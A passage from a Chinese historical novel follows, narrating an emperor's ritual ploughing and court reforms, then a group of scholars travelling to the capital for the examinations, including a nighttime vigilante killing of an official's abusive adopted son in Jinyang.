同泰帝焚烧祭文并率文武百官向农神行过三跪九叩首大礼后,先到易服殿换上农家衣裳,然后在冯体仁的导引下,走向了御耕园。见皇上到来,礼部官员赶忙命令十个农民扣头行礼。同泰帝紧走几步,用双手把领头的一位老农搀扶起来,和蔼地说:“都起来,都起来。老人家,今年贵庚啦?”老农似乎没听明白,一时语塞。同泰帝一笑,又说:“朕,嗷,我是问您多大年纪了。”老农激动地回答:“回皇上话,小人今年七十有六啦。”同泰帝笑呵呵地说:“人生七十古来稀。看起来老人家的身体还挺硬朗。你们都不必拘束,咱们先坐在地头唠唠家常如何?”农民们见眼前的人一身农人打扮,说话和气,不端架子,很是亲切,内心放松了不少,就围着同泰帝坐在田边的土地上。皇帝问:“你们都是哪里的人呀?这些年吃得饱吗?朝廷的赋税重不重呀?”老农带头说:“回皇上,俺们都是京郊禹王台张黄村的人,小人和这几个姓张,他们几个姓黄。这些年地方稳定,也没有遭灾,俺们地里的收成交过皇粮后,每年除去种粮和口粮,还能富余百十斤麦子,这全都是托皇上的福,全都是朝廷的恩赐。”其它几个农民也随声附和着。同泰帝满意地点点头,说道:“家有余粮心里不慌,但百十斤还是少了些。等过几年,天下富庶了,朕,我还要降低赋税。百姓只要忠于朝廷,就一定能过上好日子。”几个农民面带喜色地说着好。同泰帝见一个八九岁的娃娃躲在一名农妇身侧正好奇地看着周围禁军的衣甲和兵器,就说:“小娃娃,你对刀枪盔甲感兴趣?”那小孩机灵地向前爬了一步,磕了个头说:“回皇上的话,我看这些军兵刀枪耀眼,甚是威风,确实喜欢。”同泰帝看这个小孩很守规矩,就问:“你叫什么名字?多大了?”小孩又磕了个头说:“回皇上的话,我姓黄,没名,因排行在二,别人都管我叫黄小二,今年九岁。”同泰帝想了想说:“人总是要有大名的。我看你恭顺有礼,以后就叫黄顺吧。”小黄顺和几个农民又赶紧谢恩。同泰帝对身后的冯体仁说:“既然这孩子喜欢当兵,告诉兵部一声,让兵备司给黄顺录个名,培养一下……” 谈论多时,同泰帝起身带着十个农民下了田。地头早有人牵着两头健硕的耕牛架着犁车恭候了。同泰帝让两个农民在前面牵着牛,自己和张姓老农扶着犁开始劳作。他们每犁完一拢,就让另外四个农民播上种,再拢好田。两个农妇和小黄顺则在田边烧水准备烹茶。犁地是个力气活,不一会儿功夫,同泰帝的头上就渗出了细密的汗珠。他转头一瞧,那老农倒是面色如常连大气都不喘,就笑着说:“老人家平时侍候多少地呀?也是用牛拉犁吗?”老农赶忙回答:“小人家里原有九亩四分地,这去年冬天又置了二亩田,今年一开春我就领着儿子、孙子和媳妇把地犁了两遍。只是这耕牛可是不敢想呀!都是靠人拉肩扛一点一点干出来的。”大约过了半个时辰,御耕园的土地犁得差不多了。小黄顺接受冯体仁的指派跑到地边喊道:“皇上御耕完毕。”然后跑进田里,拉着同泰帝边往外走边说:“皇上,尝尝我娘煮的茶。”同泰帝确实渴了,在田头接过农妇献来的茶碗,咕咚咕咚地就饮了下去。离开御耕园前,同泰帝回头笑着对几位农民说:“朕今天亲自体会了农耕的艰辛。朕特赐尔等每户一头黄牛,望尔等不忘朝廷恩典,努力务农种田,保我大周粮税充盈。”冯体仁赶紧让十个农民跪倒谢恩。 接着,同泰帝由冯体仁引入观耕亭,开始观看王公大臣们耕作。在与冯体仁谈论典章礼制的过程中,同泰帝发现这个臣子才思敏捷、应答如流,又加上今日祭农仪式办得非常顺利,便有了重用之心。但他还想再看看这个人到底有没有真才实学,就故作虚心地问:“朕自继位以来,立志学习先贤,常想做些有利于民生的事情,冯卿可有计策教朕?”冯体仁想了想,说道:“陛下给臣出的题目意义重大,可否容臣斟酌几日,再做答复?”同泰帝轻轻一笑说:“这个自然。期待冯卿的经纬才略……” 皇帝回宫已近酉时。进了乾德门,同泰帝吩咐白晨说:“先到寿康宫去,朕要陪太后用晚膳。”白晨答应一声,指挥着仪仗向西行进,并派出小太监先行通报。 銮舆来到寿康宫门前时,皇太后已命四名宫女出来伺候了。同泰帝下了轿,四名宫女先躬身做了万福,然后上前搀引着同泰帝走进宫门。同泰帝用眼一瞄,心里就是一动,搀着自己左臂的女子生得甚是明艳,五官精致,脸蛋粉嫩,低首含羞,非常可爱。同泰帝把脸凑近,问道:“你叫什么?朕在太后这儿怎么没见过你呀?”小宫女又低了一下头,回道:“妾名梦柔。先前在静福公主府当差,上个月刚进宫被太后留下的。”同泰帝看着小宫女颀长的玉颈,闻着梦柔淡淡的体香,有些心猿意马。他故意把胳膊靠在梦柔身上说:“梦柔的名字起的不错,是太后赐的吗?”梦柔回说:“名字是静福公主起的,太后觉得清雅,就没有再改。”说话间,前面两个引路的宫女挑起了帘笼。暖风拂面,同泰帝抬脚就走进了寿康殿。 皇太后孟氏五十出头的年纪,虽然略有几根白发,但脸色红润精神饱满。见皇帝进来,太后笑着从软座上起身,说:“皇上来了。”同泰帝走到母亲面前,恭恭敬敬地行了个礼,说道:“儿子给太后请安。”皇太后赶忙让宫女把皇帝搀起来,说道:“快起来吧。今天亲耕累了吧!快到暖榻上躺着,叫梦环、梦柔捶一捶。”同泰帝陪着笑说:“今天确实有点乏,扰母亲操心。一会儿,儿子还要叨扰母亲一顿晚膳呢。”皇太后高兴地说:“那好哇,晚上就在娘这儿吃,咱们娘俩还能说说话。” 同泰帝坐在暖榻边,梦柔捧着水盆请皇上净面。同泰帝仔细端详,越发觉得这个女子漂亮可人。洗手净面时,他还故意把水弹到了梦柔脸上。同泰帝躺下后,打发梦环到太后跟前伺候,只让梦柔留下给自己捶按。其间,同泰帝上下其手,羞得梦柔满脸通红。 皇帝的言行其实都没有逃过皇太后的眼睛,老太太只是不说破而已。用过了晚膳,撤席上茶,孟太后指了一下梦柔对皇帝说:“皇上,这丫头捶按得可解乏。”同泰帝瞟了一眼梦柔说:“力度不轻不重,儿子很是受用,还睡着了一会儿。”孟太后唤过梦柔,笑着对皇帝说:“既然皇上喜欢,我就把她转送给皇儿吧。”太后又转脸对梦柔吩咐道:“你今晚就到皇上处伺候。过后,哀家还有赏赐给你。”梦柔羞红着脸,跪倒谢太后,谢皇上。孟太后让人领梦柔下去,又对皇帝说:“皇上,哀家膝下只有你和静福两个孩子。前些日子,静福进宫想给驸马谋一个好位置。我看皇帝比较忙,就一直没提这个事,不知皇上是否能替你妹妹考虑考虑?”同泰帝想了想,说道:“秦国勋是开国大将秦双的孙子,已经是宣城候威南将军,他本人并无战功,出镇地方恐不合适。这样,让他先出任皇家少府,为宫里做做采办事宜。这是个肥差,交给别人朕还真不放心。不过,母亲也要跟静福言明,让她盯好了这位驸马,别贪得太多,不好收拾。”太后大喜,当场应允。 三天后,同泰帝大朝完毕,正在前朝后面的养德殿休息。白晨轻身转过屏风禀报说:“皇上,礼部侍郎、国子监司业冯体仁觐见。”同泰帝挥手说:“宣他进来。” 冯体仁进殿后,跪地磕头,口称吾皇万岁。同泰帝见他有些拘谨,就说:“冯卿家,这是在偏殿,不要太拘礼,坐下奏对,更自在些。”冯体仁从袖中取出一份奏折,恭恭敬敬地呈到皇帝面前,说道:“陛下祭农时所交代的差事,微臣已思虑周详,现特来复命。”同泰帝展开折子,刚看了个开头,就被深深地吸引,并连声说:“好!提的好!”同泰帝合上奏折,笑着对冯体仁说:“卿家的折本容朕后面细读。冯卿可先跟朕说个梗概。”冯体仁拱了拱手说:“陛下,微臣主要提出了四款十一条建议。第一款就是废止百姓积欠朝廷的超过二十年以上的欠款欠税。比如,先皇登基初年为了恢复生产曾命令地方借给一些农民银两和耕牛,后来大部分人都已偿清或归还,只有个别破产农户还未偿还,三十年中,这笔钱加上利息,非常巨大,而且原先借款的人大多数已经故去,留着这些欠条,只会成为朝廷的坏账,不如宣布废止。这样,全天下的百姓必然感念陛下圣德,敬服陛下仁慈爱民。”同泰帝非常满意地点点头,说道:“冯卿此议正合朕意。如此一来,既没有增加朝廷负担,又广泛施恩于天下百姓,真是上等良策啊。卿接着奏对吧。”冯体仁继续说:“臣所奏第二款是请陛下尽快开科取士。历朝历代的英明君主无不把广揽人才当做最重要的国策。汉武帝若无桑弘羊、司马相如,唐太宗若无魏征、李靖,都难成为一代圣君。而且,开科取士能给天下人一个进阶之梯,对安抚人心,凝聚民心都有积极作用。臣建议先取文试,选拔青年才俊,裁汰冗员。再开武科,充实边备,保卫国家。”同泰帝又一次点头说:“你的这一款提的也很好。朕正有今秋开恩科之意,卿的建议正是朕所需要的。过后,卿可以另外具折详细奏告。”冯体仁又一躬身,回道:“臣遵旨。臣的第三款建议是广开言路,允许大臣对朝政提出合理的意见。”同泰帝认真地说:“这个也可以。只要是为了朝廷,风闻言事也是能被允许的。”冯体仁又说:“陛下真是英明。臣提出的第四款建议是整顿吏治,清明政治。具体又分为四条,分别是裁汰冗官,核算冗兵,节省冗费和消减冗制……”君臣二人在养德殿内足足交谈了一个半时辰。在回后宫的路上,同泰帝兴奋地对白晨说:“朕发现了一个宰相之才!传旨给王克明,擢升冯体仁为承旨学士入政事堂行走。” 次日,同泰帝便下达了将在九月开恩科的旨意,要求各地官府尽快安排本地秀才以上的读书人进京待考,一应费用全由国库承担。圣旨发出后,全国的文人奔走相告,跃跃欲试,都想抓住这个鲤鱼跃龙门的好机会。 仅隔了一日,同泰帝又下旨求言,鼓励各级官员向朝廷建言献策,允许风闻言事。一时间各种意见和建议、对弊政的分析报告、对贪官污吏的举报材料如雪片一般飞到皇帝和宰执们的案头。 又过了一日,同泰帝下旨废除全国百姓积欠朝廷的超过二十年以上的欠税欠款。这个旨意的发出真正点燃了全国百姓的热血。人们不敢相信,积欠国家的钱物能得到豁免。很多地方的老百姓自发地面向京城方向隔空叩拜,感谢这位英明仁慈的伟大君主。 第七回 秀才也困惑 为了报答救命之恩,白晨很快就将朝廷要在九月开科取士的消息传给了宋启愚。宋老太公在得到消息的第二天,便带着子弟前往文庙祭拜孔圣,并招来身在光裕寨的几名秀才鼓励大家发奋读书、考取功名。在各家商议后,宋太公最终拍板,过了端午节,就送包括宋启愚、童道生和余允文在内的七名秀才进京赴考。 得知丈夫不久之后又要远行,宋启愚的妻子李氏很是不舍。晚上掌灯后,李氏先把两岁的女儿哄着,又呆呆地坐在床边,哄着儿子承宇睡觉。宋启愚轻手轻脚地走过来,笑眯眯地看着娘三个,又蹲下摸了摸儿女的头。看妻子表情怆然,宋启愚用手指轻轻刮了一下李氏的鼻子,笑嘻嘻地说:“你别担心,就是去京城参加个考试,不会有什么危险。”李氏一把抱住宋启愚的头,眼泪夺眶而出,说道:“我就是舍不得。你背上的伤刚好,又要走了。我不让你去。”宋启愚憨笑着说:“好,听媳妇的,咱哪儿都不去。去了,也未必能考中。”李氏稍一愣神,又改口说:“太公做的决定,我可没有胆子拦着。再说,我丈夫是最有本事的人,怎么可能考不上呢!我还想做状元夫人呢!”宋启愚帮妻子拭了拭眼泪,逗她说:“那行,咱就中个状元,让你当当状元夫人。不过,戏里不是常演状元娶公主、进士攀高枝吗?你就不怕我被哪家小姐相中招赘了去?”李氏咬着嘴唇说:“你敢,看我禀告公婆和太公,还不打烂你的屁股。”宋启愚缓缓站起来,把李氏拥入怀中说:“你舍得打烂我的屁股吗?不还得你敷药照顾吗。”李氏用手轻打着宋启愚的屁股说:“就打烂,就打烂……”宋启愚轻轻抱起妻子,向旁边的床榻走去。 第二天下午,宋启愚来到团练公所,准备清理一下团练军的规程、名单、账目。席军民、吴襄等一干团练军的副将和哨长见宋启愚进了院门,一下子都围了过来。董阳抢先问道:“宣道,你这一走,咱团练军咋办?”宋启愚不慌不忙地招呼大家进屋落座后,看着大伙说:“具体怎么安排还没有最后定,等决定之后,我会召集大家再做布置。你们都不要担心,现在这支团练军是咱们一起组建起来的钢铁部队,也是咱光裕寨能在三晋大地上立足的凭仗,绝不能散。后面一段时间,太公会暂时接管团练军,等我回来,仍交还给我;若我不回,太公自会另选合适之人出任团练。我只要求各位按照操典认真训练部队,切不可轻慢推搪,不要让我们以前的努力和血汗都付诸流水。”席军民说:“这些你就放心吧,大伙不会含糊。可咱们就是想跟着你干,你这一走,咱们就没了主心骨。”吴襄也说:“是啊,宣道,你看这样好不好,你去京城带着我和国栋,我们给你当当保镖打打下手,不耽误你的前程。”其他几个哨长也纷纷表示要随行。宋启愚严肃地说:“你们都不要再说了。光裕寨是咱们的家,保卫她是咱的责任。我走以后,你们继续认真练兵,协助生产,维护治安,让寨民们能安定地生活,就是对我最大的鼓舞。我若需要自然会征调你们。现在,大家来得正好,帮我核对一下各部的名单和账目。”众人无奈,只得上前,帮宋启愚做团练军的交接准备工作。 宋启愚回到宋氏老宅已是酉时,刚进大门,曹可用便从门房迎了出来。曹可用说:“好兄弟,我都等你半天了,这次进京你得带着我去。”宋启愚笑笑说:“咱们先回屋。这次是去考试,又不是去贩东西,再说那几位先生都是老夫子,你跟他们也说不到一块去呀。”曹可用边跟着走边说:“和那几个酸秀才一块走肯定别扭,我敢说你也觉得不自在。我都替你想好了,让余先生跟他们几个先走。他们都在咱文庙学堂里教书,行动坐卧都方便。你推说还有军务要交接,迟个三五日再进京,就带着我和童先生,咱三个一道走,这样岂不快活。”其实,宋启愚心里也是这么想的,只是不说而已。进了自家堂屋,让座命李氏上茶后,宋启愚说:“这样也好,只是今天国栋和长白都想跟着去,我没有答应。”曹可用大大咧咧地说:“我平时只负责侦查审讯,在团练军里没有职务,跟你去不耽误其它事情。而他俩短时间里还走不开,等过几个月,团练军完全交接之后,再调他们跟着你不就行了吗。”宋启愚听后说:“那,这样,你去叫上他俩。咱们平顺饭馆唠唠。我跟他们解释解释。”曹可用呵呵笑着起身,说道:“好嘞。我这就去喊他们……” 时光飞逝,转眼间就到了宋启愚一行上京的日子。一大早,童道生来到宋宅,他先求见了宋家大爷和大娘,拜谢他们多日来对自己兄妹的照顾。宋家大爷知道他的来意,让夫人带童雅琴出来跟哥哥道别。虽然只有大半年时间,但世事轮回,兄妹俩都有了很大的变化。今日的童道生已满十六岁,个头比之前窜起了一大截,手脚也健硕了不少,尤其是性格开朗了许多。他抱起妹妹嘱咐她要听宋家恩公的话,等自己高中就接她团圆等等。童雅琴也懂事地点头认真地应允。其后,宋启愚也来向父母辞行。接下来,宋启愚又带着童道生和曹可用到内院向宋太公道别之后,三个人整理好行囊,骑上高头大马,在一家老少期盼的目光注视下,缓辔出了宋宅。 当走到“光前裕后”砖屏前时,童道生回望这座自己寄居了八个多月的城寨,那润湿的街道、整齐的石墙、高大的文庙、热血的校场,一切都跟自己来时一模一样;那丰腴的土地、充实的寨仓、喧嚣的市集、忙碌的作坊,也跟去年秋天别无二致;从来到这里开始,每个寨民无论认识不认识,都会向自己投来一张和善的笑脸,而这样的笑脸又多少次温暖着童道生的心。在童道生看来,光裕寨不光是自己的暂居之地,更是令人向往的世外桃源。 再往前就到北寨门了,突然,从寨墙上传来几声哨音。吴襄和席军民带领着四百多名团练兵从瓮城里快速跑来,列队站在石板街两旁。吴襄带头高呼:“祝宋团练一路顺风!祝宋团练金榜题名!”几百名团练兵也跟着呼喊,声震大地。宋启愚心潮澎湃,他扫视着眼前一张张熟悉的面孔,不停地拱手示意。最后,他把心一横,往马屁股上狠抽了一鞭。战马长啸一声,撂开蹄子,绝尘而去。 几天之后,宋启愚一行到达了晋阳城外。宋启愚望着远方的高大城墙,问童道生:“再造,以前来过晋阳吗?”童道生赶忙回答:“不怕宣道兄长笑话,我最远只去过代州,不曾到过晋阳。”曹可用回头问道:“童先生,你啥时候改名叫‘再造’了?”童道生一笑说:“曹大哥,光裕寨对我有重生之恩,所以出发前我特意禀告了太公改字‘再造’。宣道兄长怕我不习惯,所以刚刚才改口。”曹可用点头说:“原来是这样。以前,我跟宣道贩马做生意每年会来晋阳一两次。这可是个繁华地界,有不少名胜古迹。我们在这儿多住几天,好好逛逛如何?”宋启愚微笑着说:“晋阳是大唐的龙兴之地也是春秋时晋国的都城,历史绵长,一条汾河临城而过,一座晋祠屹立千年,延寿寺、纯阳宫香火鼎盛,狄公祠值得游览,确实是个好地方呀。干脆,我们这几天不住朝廷的官驿,就住熟悉的悦来客栈,吃住行游都方便,你们看如何?”童、曹二人都无异议。三人随策马进入了晋阳城。 因为有早起的习惯,第二日天还没亮,宋启愚就起了身。他先到街上溜达了一圈,又在客栈庭院里打了一趟拳。微微出汗后,他才回屋洗漱读书。童道生的房间里也老早就亮了灯,并隐约传来诵读声。倒是曹可用这夜睡得特别香甜,直到天大亮,才伸着懒腰从房间里走出来。宋启愚隔着敞开的屋门看见曹可用,随放下书本,笑着走出房间说:“你这个‘夜猫子’睡个长觉不容易呀!”曹可用也咧嘴笑着说:“好睡,好睡,多少日子没有这么舒服了。”宋启愚说:“这里离上马街很近,一会儿用罢了早饭,咱们去延寿寺玩玩可好?”曹可用忙答道:“好哇。我去叫伙计把饭送到屋里来,咱们吃了就去。” 延寿寺原是隋炀帝杨广的行宫,后经改建成为供奉菩萨的道场,规模宏大,僧侣众多。宋启愚三人进入山门后,沿中轴线依次参拜了金刚殿、天王殿、大雄宝殿和毗卢殿。在三人当中,童道生最为虔诚,每进一殿必祈愿参佛;宋启愚则对庄严的塑像、精美的彩绘以及前人的题刻更感兴趣;而曹可用则只观看高大的殿宇和金光闪闪的法器,弟兄几人倒也各得其乐。三人看完了前面的殿宇,正欲继续游览,就听见大悲殿方向传来了呵斥叫骂的声音。宋启愚转过屋角一瞧,原来在大悲殿前站着五六个直眉瞪眼的恶奴,正用棍棒驱赶着香客们。恶奴们还骂骂咧咧地说:“都他妈滚蛋,我家少爷今天在此进香,大悲殿被我们包了。你,再往前凑,小心老子打断你的狗腿。哎,那个小妞儿,你可以,来来,进来陪我们少爷玩玩……”进香的善男信女们敢怒不敢言,纷纷向寺外退去。宋启愚拉住一个小和尚问道:“师父,这些是什么人呀,这么嚣张。”小和尚赶忙摆手示意宋启愚躲到屋角后面,压低声音说:“你们不是本地人吧?”曹可用说:“我们是关外做生意的。”小和尚又压了压嗓音说:“殿里面是山西监军白晋的养子,可惹不起呀!他看我们庙上香火旺,就经常来敲诈勒索。现在正在殿里逼着我们方丈要银子呢。”童道生问:“那你们可以报官呀。”小和尚苦笑着说:“我们方丈到晋阳县和晋阳府都报过,可是没人敢管。听说这位白晋公公小时候因家里穷没办法才进宫当的太监。现在发达了,他叔叔就把他堂兄过继给他当儿子,这家伙从小就是个泼皮无赖,现在背靠这棵大树,就更无法无天了。”童道生听后鼻子都快气歪了。他象对别人说也象是自言自语道:“把堂兄过继给太监当儿子,这都什么乱七八糟的!”宋启愚把火压了压,对童、曹二人说:“这种官府欺负人的事儿并不少见。咱们现在出头又解决不了问题,我看咱们还是忍了吧,国法迟早饶不了他。”宋启愚转脸向小和尚点头称谢后,拉着童、曹二人也向寺外走去。 经历了刚才的不愉快,三人的心情都不太好。时值中午,他们便在上马街的小饭馆胡乱用了午饭。待他们出了饭馆快走到街口的时候,就见街边稀稀拉拉围着七八个人,中间一人正在表演倒立。这个人边演边唱道:“竖一个,一个钱;竖十个,十个钱;竖的多,钱就多;表演只为修义学,筹到善款就挪窝。”起初,宋启愚并未在意,但当他听到“修义学”几个字时,他一下子站住了。他回过头仔细打量卖艺的人,只见此人三十岁左右年纪,脸上很脏而且露出菜色,身穿红白对半服装,剃着鸳鸯头,显得煞是可笑。此人继续表演着倒立,又唱道:“俺表演,你多给,修座义学心里美;俺磕头,到处求,只为修座义学楼。”待表演完毕,这个人便拿起笸箩向观众讨赏,可一圈下来只收到了两三个铜钱。宋启愚指着他的头,问道:“你为什么把头发剃去了一半呢?”那人又唱道:“左边剃,右边留,修个义学不犯愁。”宋启愚又问:“你这样装束就是为了修义学吗?”这个人收起了嬉笑,郑容说:“自古只有富人能读书,哪有给穷人学习的地方,可我就非要筹钱办义学,叫穷人家的孩子也能上进。”宋启愚心里大为感动,但仍有疑惑,随抱拳问道:“敢问先生尊姓大名?”那人答道:“我叫丁训。我不认识字,称不上先生。”宋启愚摸出身上的银荷包,颠了颠约莫有二十多两的样子,便都放进了丁训的笸箩。丁训见状急忙跪倒说:“先生功德无量。丁训替穷苦人家的娃娃给先生磕头。”原本童道生也想模块银子给丁训,曹可用轻轻扯了他一把,说:“现在骗子多,他可不一定会修义学啊。”童道生随即作罢。宋启愚又跟丁训攀谈了几句,便带着童、曹二人向街口走去。 就在这时,几个手拎棍棒的混混簇拥着一个手提鸟笼的高个黑胖子来到了丁训跟前。黑胖子用手指着丁训,骂道:“妈的,这世上还有这么难看的人。你小子的保护费交了吗?谁让你在这儿摆摊的!”丁训是到处化缘的人,一看来人的架势,知道惹不起,马上陪着笑脸说:“大爷,小的不知道这是您的地盘,请您原谅小人这一回。”黑胖子蛮横地说:“看你恭顺,就孝敬老子十两银子吧。”丁训扑通一声跪倒说:“大爷,小人撂地是为了筹钱修义学,平常一个月也化不来十两银子呀。不瞒您说,小的为了省钱,中午连饭都没有吃呀。您高高手,就放我去吧。”高个黑胖子眼睛一瞪说:“小子,瞧你那德行,还修义学,你就是个江湖骗子,还想糊弄老子。老实交钱,我放你走,敢再说别的,老子可对你不客气。”丁训仍然不停地解释说自己为了修义学什么都干过,什么苦都吃过,求黑胖子放过自己。三说两说,黑胖子被惹恼了。这个无赖把鸟笼递给手下,恶狠狠地说:“你知道老子是谁吗?老子是监军的儿子。你他妈敢跟我讲价钱。好,老子不稀罕你的钱,拿你取个乐子也不错。”黑胖子转头吩咐手下人说:“三癞子,去那边找点狗屎来,他不是没吃饭吗,喂他一口。”黑胖子连同身边的恶奴爆发出一阵淫邪的笑声。 这一切,宋启愚三人都看在眼里。宋启愚咬着牙对曹可用说:“你去给这个畜生十两银子,先把丁训救下来。然后,你跟踪着他,我轻饶不了这个东西。” 掌灯以后,曹可用回到客栈。宋启愚先对童道生说:“再造,今天的事情没让我碰上也就罢了,既然碰上了我就要还老百姓一个公道。我希望你不要阻拦。”童道生也气愤填膺地说:“就凭那个畜生的所作所为,怎么处置他都不为过。宣道兄吩咐就是了。”宋启愚笑着拍了拍童道生的肩膀说:“小兄弟,你没有练过武,所以,你对我最大的支持就是今夜在客栈认真读书,好好休息。有我和曹可用就足够了。”看童道生不甘心,宋启愚又补充说:“小兄弟,不要有异议,这是军事行动,来不得拖泥带水。你若明白我的话,现在就到自己房间读背文章吧。” 送走了极不情愿的童道生,宋启愚开始向曹可用询问高个黑胖子的行踪。原来,这位白晋的义子离开上马街后,先带着恶奴找了家饭馆胡吃海塞了一通,又到赌局里玩了一会儿,最后他去了朝阳街二条一户刘姓人家,准备在那里过夜。曹可用说:“这个黑胖子非常好色,除了逛妓院外,他还经常带着人在街上溜达,看见年轻漂亮的女孩就要强行霸占,这几个月被他糟蹋的姑娘就有十几个。我跟街坊一打听,三天前,这家伙看上了这个小媳妇。人家不从,他就让官府把刘家的男人和公婆都抓了去,逼着人家伺候他。”宋启愚听得怒不可遏,一拍桌子说:“可恨!我原本还想留他一条活命,现在看来,只能为民除害了。”曹可用摩拳擦掌地说:“宣道,你就说怎么办吧。”宋启愚非常无奈地说:“国法掌握在这帮混蛋手里,真是国家的不幸呀!你把地形图画出来,咱俩研究研究。” 过了亥时,宋启愚和曹可用换上了黑色的服装,带着短刀等应用器械,一前一后悄悄出了悦来客栈。他们来到朝阳街二条,先躲在刘姓人家附近观察动静。大概过了一刻钟,在确认附近没有官府和黑胖子手下的人之后,二人把衣服捆扎牢靠,又用黑布蒙住了脸。他俩噌噌几步跑到刘姓人家的院墙外。宋启愚半蹲下来,两手交叉形成一个平台;曹可用右脚踩着宋启愚的手掌,向上纵身;同时,宋启愚用力向上托举着曹可用。曹可用借力弹起,双手就扒住了墙头。他先向院子里扔了个小石子,发现没有狗看管门户,于是便轻身跳进了院内。曹可用简单观察了一下地形。他来到大门前,慢慢拔开门栓,将大门打开了一条细缝,同时用一只手抓住了门上的吊铃,没让铃铛发出声音。宋启愚机警地闪身进了大门。他们发现只有西屋亮着灯,就轻手轻脚地来到屋子窗下。这时,从屋里传出了那个畜生厚颜无耻的声音:“小妞,你的身子真是又白又嫩,干脆你以后就给大爷做个妾,保你一辈子吃喝不愁。”又有一个女子的声音传出:“大爷,你就放过小女子吧,你不是答应我陪你几天就把我家里人放回来吗。”又是黑胖子的声音:“嘿嘿嘿,那我这几天可不能轻饶了你,一会儿我还得跟你再玩一次。”接着,黑胖子又说:“你这小妞就是没看明白,就算放他们回来,我哪天想你了不还得来吗。直接把姓刘的一家弄死岂不省事。”女子说:“你伤天害理,就不怕王法吗?”黑胖子哈哈笑着说:“什么王法,在晋阳城里我就是王法。你没见旁边的住户这两天都投亲去了吗。他们这是怕本大爷。也是,有谁敢到爷的跟前炸刺呀!告诉你,老子玩姑娘的时候从来不插门,也没见哪户小民敢动老子一根汗毛。”宋启愚已经听不下去了,他轻声命令曹可用说:“我在门口接应你,不想脏了手。你进去结果了这个无赖。”曹可用用力点了点头。他抽刀在手,上前一脚踹开了屋门,飞身冲了进去。黑胖子被突然的变故吓得魂飞魄散、吱哇乱叫。他一咕噜从炕上坐起来,当看清楚来人蒙面持刀向自己冲来时,他赶紧转身找寻自己的武器。原来,他在枕头旁边放着一把钢刀。刘家媳妇起初是缩在床头一角。当看明白来人是要杀黑胖子的时候,她顾不得别的,一把抢过枕头旁的刀,抱在怀里,哆嗦着说:“就不给你,让人杀了你这个畜生。”眼看蒙面人快冲到床边了,黑胖子情急之下一把握住了刀把。他一按绷簧,又用力往外一攉,可怜那刘家媳妇竟被刀刃豁开了脖颈,当场毙命。与此同时,曹可用的刀也到了,只是砍歪了些,正剁在黑胖子的腰和屁股上。黑胖子挣扎着就往门外跑,可他刚到门口就被宋启愚伸出一脚绊了个狗啃屎,刀也脱手飞了出去。曹可用跃出屋门,一下子骑到黑胖子背上,不容分说,一刀就捅进了这个混蛋的后心。鲜血从黑胖子背上和嘴里喷了出来,这小子手刨脚蹬,咯喽了几声,再也不动了。曹可用怕他不死,又在他身上补了几刀。之后,宋启愚和曹可用又检查了现场,并在厨下用清水洗掉身上的血污,换上干净的衣服,才大摇大摆地离开朝阳街二条,回归客栈。 第二天清晨,宋启愚带着童道生和曹可用早早退了房间、辞别客栈,在晋阳城门开启时,便抢先离开了晋阳。在路上,宋启愚几人无限感慨,他们想不通这个国家的权贵们凭什么如此糟蹋老百姓;他们不明白国法为什么不护佑普通人;他们很疑惑象丁训这样的好人做点事情怎么就这么难。 几天后,宋启愚一行到达了延津渡口。由于错过了渡船,他们便到渡口边的客店投宿。刚一进店门,就听有人冲他们喊:“可逮到你们三个了。”吓得曹可用倒退两步,右手下意识地摸向了怀里的短刀。童道生脸色惨白,就连宋启愚也吃了一惊。三人定睛一看,原来是先期出发的余允文等五位秀才,因其中一人的口音较重,“等”、“逮”不分,才闹了这么一出误会。老乡见面,分外亲热,宋启愚吩咐店小二添酒布菜,要和乡党们把酒言欢。 第二天,宋启愚让客店老板提前替大伙号好了船,又张罗秀才们吃饭,收拾行装。上午巳时刚过,一行人就来到了渡口码头。这是宋启愚第一次来到黄河,他望着那浑黄向东的浩浩河水,跟身边的余允文说:“李白的诗句所言不虚呀。君不见,黄河之水天上来,奔流到海不复回。气势确实宏大。”这时,从河湾东边传来了低沉的号子声:“撑住劲啊……呵嘿……到延津呀……呵嘿……三十里呀……呵嘿……就到地儿呀……呵嘿……饭菜香呀……呵嘿……姑娘美呀……呵嘿……”但见十几个赤裸身体的纤夫在纤头的指挥下艰难地拉着纤绳挪动着脚步,纤绳的另一头连着一条吃水很深的货船。那船逆着水流,缓慢西进,一个浪头打来,船身晃了几晃。排在队尾的纤夫赶忙收紧纤绳,校正拉船的角度。纤头一边发力,一边更换口号:“往里收呀……呵嘿……靠边走啊……呵嘿……”望着这些全身用力、通体黝黑、肌肉绷紧,几乎每个毛孔里都在向外流淌着热汗的重体力劳动者,宋启愚心里很不是滋味。他对童道生和余允文说:“如此艰辛的劳作,只为挣到温饱,跟他们比起来,我们这些人得到的太容易了。”余允文说:“是呀,人的命运真的多舛。我辈读书人当牢记这个场面,有朝一日主政一方,万不可伤民害民。”童道生也说:“回想这一路的所见所闻,有些当政者真的是太狂妄自大了,太不把人当人看了,我们以后绝不能失去人性,沦落为那样的混蛋。” 此时,曹可用在码头上一边向大伙招手,一边呼喊着:“宣道,再造,登船了。诸位先生都过来吧。”宋启愚答应一声,笑着招呼同行的秀才们进码头,上船,向着帝国的首都汴梁城进发。 第八回1 恩科似梦 时值六月,午间的汴梁城就象下了火一样。同泰帝用完了午膳,就近来到皇后寝宫,一面要过湿毛巾揩汗净面,一面吩咐宫女赶快上茶。皇后见状,忙命宫人用力打扇,又叫太监搬来两盆冰块,放在殿内降温。她还亲自献上冰镇酸梅汤,给皇帝解暑,又服侍着皇帝坐到象牙丝榻上,希图能让同泰帝安枕片刻。同泰帝在榻上躺了一会儿,还是浑身冒汗,又被殿外树上的知了吵得心烦,便起身对皇后说:“朕着实睡不着,咱们对面坐着说说话,聊聊内廷趣事如何?”自打石磊登基,皇后就少有机会跟丈夫亲近,这次能向皇帝倾诉衷肠,自然十分乐意。这对皇家夫妇从太后聊到嫔妃,又聊到内宫规矩,最后,皇后不经意地说:“前几日,王克明的夫人进宫,妾身摆宴招待,其间有一道‘象鼻鱼’是难得的美味。可是,王夫人却说她家里这种食材多得是,弄得妾身很是尴尬。昨日,她又进宫,送来几条所谓的‘象鼻鱼’。妾身一看那些鱼的鼻子短得象猪一样,哪里是什么‘象鼻鱼’,分明就是猪鼻鱼。”同泰帝笑着说:“呵呵,这事挺逗。朕早年下过象棋,棋子上的相字也可以写作大象的象,没想到我大周朝的相竟然讨了一个猪鼻夫人……” 未时,同泰帝辞别皇后往政事堂理政。 